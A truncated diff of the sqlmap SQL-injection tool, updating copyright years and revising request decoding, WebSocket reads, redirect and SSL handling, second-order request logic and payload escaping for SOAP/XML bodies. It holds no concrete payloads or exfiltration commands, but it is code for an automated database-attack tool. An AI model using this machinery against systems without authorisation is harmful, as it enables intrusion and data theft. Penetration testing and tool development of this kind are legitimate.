if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). "
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
+3 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -79,14 +79,14 @@ def configFileParser(configFile):
mandatory = False
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"):
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
mandatory = True
break
if not mandatory:
errMsg = "missing a mandatory option in the configuration file "
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)"
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
raise SqlmapMissingMandatoryOptionException(errMsg)
for family, optionData in optDict.items():
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+49 -37
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import cachedmethod
from lib.core.decorators import lockedmethod
from lib.core.dicts import HTML_ENTITIES
from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER
@@ -47,6 +48,7 @@ from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX
from lib.core.settings import PARSE_HEADERS_LIMIT
from lib.core.settings import SELECT_FROM_TABLE_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VIEWSTATE_REGEX
from lib.parse.headers import headersParser
from lib.parse.html import htmlParser
@@ -57,6 +59,7 @@ from thirdparty.odict import OrderedDict
from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client
@lockedmethod
def forgeHeaders(items=None, base=None):
"""
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
@@ -110,9 +113,9 @@ def forgeHeaders(items=None, base=None):
if conf.loadCookies:
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
elif kb.mergeCookies is None:
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE
message += "The target URL provided its own cookies within "
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
message += "target URL provides its own cookies within "
message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
message += "Do you want to merge them in further requests? [Y/n] "
kb.mergeCookies = readInput(message, default='Y', boolean=True)
@@ -258,13 +261,13 @@ def getHeuristicCharEncoding(page):
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
kb.cache.encoding[key] = retVal
if retVal:
if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
infoMsg = "heuristics detected web page charset '%s'" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, retVal)
return retVal
def decodePage(page, contentEncoding, contentType):
def decodePage(page, contentEncoding, contentType, percentDecode=True):
"""
Decode compressed/charset HTTP response
@@ -331,40 +334,44 @@ def decodePage(page, contentEncoding, contentType):
# can't do for all responses because we need to support binary files too
if isinstance(page, six.binary_type) and "text/" in contentType:
# e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
if b"&#" in page:
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
if not kb.disableHtmlDecoding:
# e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
if b"&#" in page:
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
# e.g. %20%28%29
if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
# e.g. %20%28%29
if percentDecode:
if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
# e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
# e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:]
page = getUnicode(page, kb.pageEncoding)
page = getUnicode(page, kb.pageEncoding)
# e.g. &#8217;&#8230;&#8482;
if "&#" in page:
def _(match):
retVal = match.group(0)
try:
retVal = _unichr(int(match.group(1)))
except (ValueError, OverflowError):
pass
return retVal
page = re.sub(r"&#(\d+);", _, page)
# e.g. &#8217;&#8230;&#8482;
if "&#" in page:
def _(match):
retVal = match.group(0)
try:
retVal = _unichr(int(match.group(1)))
except (ValueError, OverflowError):
pass
return retVal
page = re.sub(r"&#(\d+);", _, page)
# e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
# e.g. &zeta;
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
else:
page = getUnicode(page, kb.pageEncoding)
return page
@@ -425,12 +432,17 @@ def processResponse(page, responseHeaders, code=None, status=None):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break
if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
kb.captchaDetected = True
if kb.captchaDetected:
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
+2 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
Reference: http://selenic.com/hg/rev/6c51a5056020
Fix for a: http://bugs.python.org/issue8797
"""
def __init__(self, *args, **kwargs):
_urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
self.retried_req = set()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+48 -23
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -98,6 +98,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
@@ -118,6 +119,7 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import WARN_TIME_STDEV
from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders
from lib.request.basic import processResponse
@@ -450,10 +452,25 @@ class Connect(object):
if webSocket:
ws = websocket.WebSocket()
ws.settimeout(timeout)
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
ws.send(urldecode(post or ""))
page = ws.recv()
_page = []
if kb.webSocketRecvCount is None:
while True:
try:
_page.append(ws.recv())
except websocket.WebSocketTimeoutException:
kb.webSocketRecvCount = len(_page)
break
else:
for i in xrange(max(1, kb.webSocketRecvCount)):
_page.append(ws.recv())
page = "\n".join(_page)
ws.close()
code = ws.status
status = _http_client.responses[code]
@@ -549,7 +566,7 @@ class Connect(object):
code = None
responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0
@@ -563,10 +580,17 @@ class Connect(object):
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if not refresh:
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
if refresh:
debugMsg = "got Javascript redirect request"
logger.debug(debugMsg)
if refresh:
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg = "got a refresh request "
msg += "(redirect like response common to login pages) to '%s'. " % refresh
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
@@ -620,7 +644,7 @@ class Connect(object):
responseHeaders = ex.info()
responseHeaders[URI_HTTP_HEADER] = ex.geturl()
patchHeaders(responseHeaders)
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % ex.code
@@ -690,7 +714,7 @@ class Connect(object):
else:
raise SqlmapConnectionException(warnMsg)
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
logger.debug(debugMsg)
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
@@ -839,7 +863,7 @@ class Connect(object):
@staticmethod
@stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
"""
This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -924,7 +948,7 @@ class Connect(object):
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;")
payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"', "&quot;").replace("'", "&apos;") # Reference: https://stackoverflow.com/a/1091953
elif kb.postHint == POST_HINT.JSON:
payload = escapeJsonValue(payload)
elif kb.postHint == POST_HINT.JSON_LIKE:
@@ -1030,11 +1054,11 @@ class Connect(object):
match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I)
if match:
retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString)
else:
match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I)
if match:
retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
return retVal
@@ -1339,17 +1363,18 @@ class Connect(object):
warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
if not ignoreSecondOrder:
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
+10 -3
View File
@@ -1,10 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import time
from lib.core.agent import agent
@@ -43,8 +44,14 @@ def direct(query, content=True):
select = False
break
if select and not query.upper().startswith("SELECT "):
query = "SELECT %s" % query
if select:
if not query.upper().startswith("SELECT "):
query = "SELECT %s" % query
if conf.binaryFields:
for field in conf.binaryFields:
field = field.strip()
if re.search(r"\b%s\b" % re.escape(field), query):
query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
logger.log(CUSTOM_LOGGING.PAYLOAD, query)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+5 -5
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -11,7 +11,6 @@ import socket
from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -27,6 +26,7 @@ except ImportError:
pass
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
class HTTPSConnection(_http_client.HTTPSConnection):
"""
@@ -50,7 +50,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
try:
sock = create_sock()
@@ -66,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if kb.tlsSNI.get(self.host) is None:
kb.tlsSNI[self.host] = success
@@ -86,7 +86,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if not success:
errMsg = "can't establish SSL connection"
+6 -5
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -24,6 +24,7 @@ from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import initTechnique
from lib.core.common import isDigit
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
@@ -109,7 +110,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','):
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
nulledCastedField = agent.nullAndCastField(field)
injExpression = expression.replace(field, nulledCastedField, 1)
else:
@@ -235,7 +236,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
elif choice == 'Q':
raise SqlmapUserQuitException
elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
stopLimit = int(choice)
infoMsg = "sqlmap is now going to retrieve the "
@@ -246,7 +247,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
message = "how many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
if not isDigit(stopLimit):
errMsg = "invalid choice"
logger.error(errMsg)
@@ -261,7 +262,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
return None
elif count and not count.isdigit():
elif count and not isDigit(count):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
+3 -2
View File
@@ -1,10 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import getText
from thirdparty.six.moves import urllib as _urllib
class MethodRequest(_urllib.request.Request):
@@ -13,7 +14,7 @@ class MethodRequest(_urllib.request.Request):
"""
def set_method(self, method):
self.method = method.upper()
self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!)
def get_method(self):
return getattr(self, 'method', _urllib.request.Request.get_method(self))
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+20 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -47,7 +47,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
def _ask_redirect_choice(self, redcode, redurl, method):
with kb.locks.redirect:
if kb.redirectChoice is None:
msg = "sqlmap got a %d redirect to " % redcode
msg = "got a %d redirect to " % redcode
msg += "'%s'. Do you want to follow? [Y/n] " % redurl
kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
@@ -74,10 +74,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
try:
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
except Exception as ex:
dbgMsg = "there was a problem while retrieving "
dbgMsg += "redirect response content ('%s')" % getSafeExString(ex)
logger.debug(dbgMsg)
except: # e.g. IncompleteRead
content = ""
finally:
if content:
try: # try to write it back to the read buffer so we could reuse it in further steps
@@ -142,6 +140,14 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
except _urllib.error.HTTPError as ex:
result = ex
# Dirty hack for https://github.com/sqlmapproject/sqlmap/issues/4046
try:
hasattr(result, "read")
except KeyError:
class _(object):
pass
result = _()
# Dirty hack for http://bugs.python.org/issue15701
try:
result.info()
@@ -152,7 +158,12 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
if not hasattr(result, "read"):
def _(self, length=None):
return ex.msg
try:
retVal = getSafeExString(ex)
except:
retVal = ""
finally:
return retVal
result.read = types.MethodType(_, result)
if not getattr(result, "url", None):
@@ -163,14 +174,14 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
except:
redurl = None
result = fp
fp.read = io.BytesIO("").read
fp.read = io.BytesIO(b"").read
else:
result = fp
threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)
result.redcode = code
result.redurl = redurl
result.redurl = getUnicode(redurl)
return result
http_error_301 = http_error_303 = http_error_307 = http_error_302
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

Some files were not shown because too many files have changed in this diff Show More